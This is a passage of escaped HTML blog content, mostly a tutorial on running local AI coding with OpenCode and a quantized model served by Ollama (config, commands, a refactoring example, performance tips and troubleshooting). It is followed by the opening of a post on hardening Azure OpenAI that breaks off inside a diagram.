style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;$schema\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://opencode.ai/config.json\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;provider\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;ollama\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Ollama\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;options\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;baseURL\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://localhost:11434/v1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003e\u0026#34;models\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;qwen3.5:9b-instruct-q4_K_M\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;qwen3.5:9b-instruct-q4_K_M\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003e\u0026#34;tools\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003e/v1\u003c/code\u003e suffix is required. Ollama exposes an OpenAI-compatible endpoint there, and OpenCode expects the OpenAI API format. The \u003ccode\u003e\u0026quot;tools\u0026quot;: true\u003c/code\u003e flag enables function calling, which is how OpenCode applies file diffs rather than just printing them.  The model config may recongize only specifying \u003ccode\u003eqwen3.5\u003c/code\u003e for the model, results may vary.\u003c/p\u003e\n\u003ch3 id=\"navigating-the-terminal-interface\"\u003eNavigating the Terminal Interface\u003c/h3\u003e\n\u003cp\u003eLaunch OpenCode from your project directory:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd /path/to/your/project\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eopencode\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe TUI opens with a chat input at the bottom and conversation history above. The commands you\u0026rsquo;ll use constantly:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e/add filename.py\u003c/code\u003e — injects the file into the model\u0026rsquo;s context window\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/drop filename.py\u003c/code\u003e — removes the file, freeing KV cache memory\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/new\u003c/code\u003e — clears the conversation and resets context\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e/model\u003c/code\u003e — switch to a different model mid-session\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eContext curation is the most important skill. Feed the model only what it needs: the file you\u0026rsquo;re editing and the interface or type definitions it references. Drop files you\u0026rsquo;ve finished with. Keeping irrelevant context in the window degrades suggestion quality and, on 8GB VRAM setups, slows generation noticeably.\u003c/p\u003e\n\u003ch2 id=\"hands-on-example-refactoring-a-script-offline\"\u003eHands-On Example: Refactoring a Script Offline\u003c/h2\u003e\n\u003cp\u003eYou\u0026rsquo;re on a plane, working on a data pipeline with a messy loop structure. No internet. No Copilot. Just your laptop with Ollama running locally.\u003c/p\u003e\n\u003cp\u003eThe existing function:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# process_data.py\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprocess_records\u003c/span\u003e(data):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    results \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e item \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e data:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;active\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            record \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            record[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            record[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eupper()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            record[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;score\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1.5\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            results\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(record)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e results\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStart OpenCode, add the file, and prompt:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e/add process_data.py\nRefactor process_records to use a list comprehension and remove the redundant boolean comparison.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOpenCode sends the file content plus your prompt to Ollama. The model generates the refactored function and presents it as a diff in the TUI:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eprocess_records\u003c/span\u003e(data):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e: item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;id\u0026#39;\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e: item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;name\u0026#39;\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eupper(),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;score\u0026#39;\u003c/span\u003e: item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;value\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1.5\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e item \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e item[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;active\u0026#39;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eReview the diff, accept it, and OpenCode writes the change directly to \u003ccode\u003eprocess_data.py\u003c/code\u003e. Run the tests to confirm:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epython -m pytest tests/test_process_data.py -v\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe full workflow — prompt to applied, tested change — takes about 90 seconds with zero network activity.\u003c/p\u003e\n\u003ch2 id=\"best-practices\"\u003eBest Practices\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eUse Q4_K_M quantization.\u003c/strong\u003e On 8GB VRAM, this is non-negotiable. The Q8 version of the same 9B model needs ~9.5GB and will spill into system RAM, cutting generation speed by 90%.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eCap your context window.\u003c/strong\u003e Set \u003ccode\u003enum_ctx\u003c/code\u003e to 8192 for 8GB GPUs, 16384 for 12GB. Going higher without sufficient VRAM silently degrades performance — Ollama won\u0026rsquo;t error out, it will just get slow.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eEnable KV cache quantization.\u003c/strong\u003e Set \u003ccode\u003eOLLAMA_KV_CACHE_TYPE=q4_0\u003c/code\u003e before starting Ollama to shrink the memory footprint of the context window itself:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLinux/macOS:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eexport OLLAMA_KV_CACHE_TYPE\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eq4_0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama serve\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eWindows PowerShell:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-powershell\" data-lang=\"powershell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$env:OLLAMA_KV_CACHE_TYPE = \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;q4_0\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eollama serve\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eRestrict Ollama to localhost.\u003c/strong\u003e By default, Ollama binds to \u003ccode\u003e127.0.0.1\u003c/code\u003e. Don\u0026rsquo;t change this unless you have a specific need to share the API on a trusted local network. The API has no authentication — anything that can reach the port can use it.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMonitor VRAM usage during generation:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Windows/Linux (Nvidia)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003envidia-smi\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# macOS: Activity Monitor → GPU tab, or install asitop\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf the GPU percentage stays at 100% during generation, the model is fully in VRAM and running at full speed. If you see CPU climbing instead, you\u0026rsquo;re spilling into system RAM.\u003c/p\u003e\n\u003ch2 id=\"troubleshooting\"\u003eTroubleshooting\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: Generation drops to 2-3 tokens/sec.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: The model weights plus KV cache overflow VRAM. Ollama offloads inference layers to the CPU over the PCIe bus.\u003c/p\u003e\n\u003cp\u003eFix: Lower \u003ccode\u003enum_ctx\u003c/code\u003e in your Modelfile (try 4096), rebuild the custom model, and restart. Verify with \u003ccode\u003eollama ps\u003c/code\u003e that 100% of layers are GPU-loaded.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: \u003ccode\u003eECONNREFUSED\u003c/code\u003e when OpenCode tries to connect.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Ollama isn\u0026rsquo;t running, or OpenCode is pointed at the wrong URL.\u003c/p\u003e\n\u003cp\u003eFix: Verify Ollama is active (\u003ccode\u003ecurl http://localhost:11434/api/tags\u003c/code\u003e). Confirm \u003ccode\u003eopencode.json\u003c/code\u003e uses \u003ccode\u003ehttp://localhost:11434/v1\u003c/code\u003e with the \u003ccode\u003e/v1\u003c/code\u003e suffix — OpenCode expects the OpenAI-compatible endpoint.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eProblem: The model ignores your system prompt.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCause: Some base models have chat templates that override custom system prompts unless you use an instruct-tuned variant.\u003c/p\u003e\n\u003cp\u003eFix: Pull the \u003ccode\u003einstruct\u003c/code\u003e version of the model (e.g., \u003ccode\u003eqwen3.5:9b-instruct\u003c/code\u003e) and define the \u003ccode\u003eTEMPLATE\u003c/code\u003e parameter explicitly in your Modelfile if the problem persists.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003cp\u003eLocal AI coding on consumer hardware is real and usable. The three pieces that make it work: Ollama for model management and serving, a Q4_K_M quantized coding model that fits in VRAM, and OpenCode as the terminal interface that keeps your code context local and your workflow in the terminal.\u003c/p\u003e\n\u003cp\u003eThe two variables that matter most are quantization level and context window size. Get those right and generation runs at 40+ tokens/sec. The next article in this series covers the hardware specifics: exactly how VRAM math works, why the KV cache is the variable that trips people up, and how to benchmark your setup before committing to a full workflow integration.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/api.md\"\u003eOllama API Documentation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/modelfile.md\"\u003eOllama Modelfile Reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ollama/ollama/blob/main/docs/faq.md\"\u003eOllama FAQ — KV Cache and Performance\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://ollama.com/library/qwen3.5\"\u003eQwen3.5 on Ollama Library\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 (3D Abstract / Isometric):**\nA 3D isometric workspace with a glowing local server tower connected directly to a stylized code terminal. Floating abstract code blocks and data pipelines smoothly bridge the server and terminal. Clean 3D shapes, matte textures, and soft neon accents. No text, letters, or UI elements. Abstract technology concept, highly detailed, Spline/Blender aesthetic, wide landscape format, 16:9 aspect ratio.\n\n**Prompt 2 (Cyber-Industrial / Data Flow):**\nA high-contrast visualization of a local GPU processing data, represented by intense glowing data streams confined within a sleek, localized server box, disconnected from the cloud. Deep blacks and vibrant neon greens and blues representing isolated processing power. No text, letters, or words. Dark aesthetic, glowing traces, cyber-industrial vibe, highly detailed, wide landscape format, 16:9 aspect ratio.\n\n**Prompt 3 (Minimalist Vector / Flat):**\nA clean, flat vector illustration showing a glowing padlock enclosing a server rack and a laptop, symbolizing local privacy and secure coding. Smooth gradients of dark blues and purples, clean symbolic lines, and flat color fields. No text, letters, or UI elements. Minimalist tech illustration, wide landscape format, 16:9 aspect ratio.\n\n**Prompt 4 (Macro Tech Detail):**\nAn extreme close-up of a high-end GPU circuit board, with glowing fiber optic traces pulsating with warm amber and cool blue light, representing local processing power. Shallow depth of field, dramatic cinematic lighting illuminating the silicon architecture. No text, letters, or UI elements. Macro tech photography, high detail, wide landscape format, 16:9 aspect ratio.\n--\u003e\n","description":"A comprehensive, end-to-end guide on moving from cloud-based AI assistants to a fully local, private, terminal-based AI coding stack using OpenCode.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/ultimate-guide-local-ai-coding/","title":"The Ultimate Guide to Local AI Coding with OpenCode and Ollama"},{"content":"\u003cp\u003eYour team has been using Azure OpenAI for three months. Everything works. Then someone runs a security review and asks a simple question: where does the prompt data go? You pull up the docs and find out that every Copilot prompt—containing your internal service names, API patterns, and architectural context—has been transiting the public internet since day one. The \u0026ldquo;out-of-the-box\u0026rdquo; experience was never designed for your threat model.\u003c/p\u003e\n\u003cp\u003eYou aren\u0026rsquo;t being careless. You\u0026rsquo;ve hit the defaults. A freshly deployed Azure OpenAI resource runs a public endpoint, retains prompts for 30 days in Microsoft\u0026rsquo;s abuse monitoring logs, and authenticates via long-lived API keys. None of these are bugs—they\u0026rsquo;re trade-offs that make sense for a demo environment. Your environment is not a demo.\u003c/p\u003e\n\u003cp\u003eThis blueprint covers six layers of hardening, moving from public-facing defaults to a zero-trust, privacy-first infrastructure: network isolation, keyless identity, data sovereignty, developer tool governance, pipeline guardrails, and agentic safety controls.\u003c/p\u003e\n\u003ch2 id=\"1-the-ai-privacy-threat-model-for-enterprise-devops\"\u003e1. The AI Privacy Threat Model for Enterprise DevOps\u003c/h2\u003e\n\u003cp\u003eBefore hardening anything, map what you\u0026rsquo;re actually protecting against.\u003c/p\u003e\n\u003ch3 id=\"default-configuration-vs-hardened-state\"\u003eDefault Configuration vs. Hardened State\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eRisk Surface\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eDefault Configuration\u003c/th\u003e\n\t\t\t\t\t\u003cth style=\"text-align: left\"\u003eHardened \u0026ldquo;Blueprint\u0026rdquo; State\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eNetwork\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003ePublic Endpoint (Internet Accessible)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003ePrivate Link\u003c/strong\u003e (VNet Isolated)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eRetention\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e30-Day Abuse Monitoring Logs\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eZero Data Retention\u003c/strong\u003e (ZDR)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eIdentity\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eStatic API Keys (Long-lived)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eManaged Identity\u003c/strong\u003e (Token-based)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eTooling\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eUnrestricted Copilot Indexing\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eContent Exclusions\u003c/strong\u003e (.copilotignore)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eAuth\u003c/strong\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003eShared Secret (Bearer Token)\u003c/td\u003e\n\t\t\t\t\t\u003ctd style=\"text-align: left\"\u003e\u003cstrong\u003eWorkload Identity Federation\u003c/strong\u003e (OIDC)\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eWhen a developer uses an unhardened AI tool, their source code qualifies as a trade secret under the Defend Trade Secrets Act. Every prompt contributes to a \u0026ldquo;context\u0026rdquo; that, if not properly isolated, may expose proprietary algorithms or internal architecture. SOC 2 Type II auditors and GDPR compliance officers now explicitly scrutinize these data flows, looking for unauthorized sub-processing or unintended data retention.\u003c/p\u003e\n\u003ch3 id=\"the-six-layer-security-blueprint\"\u003eThe Six-Layer Security Blueprint\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 496 473\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 0,0 L 480,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,48 L 240,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,48 L 480,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 232,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,80 L 480,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,128 L 240,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,128 L 480,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 232,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,160 L 480,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,208 L 240,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,208 L 480,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 L 232,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,240 L 480,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,288 L 240,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,288 L 480,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,320 L 232,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,320 L 480,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,368 L 240,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 240,368 L 480,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,400 L 232,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,400 L 480,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,448 L 480,448' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,0 L 0,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,80 L 0,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,160 L 0,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 0,240 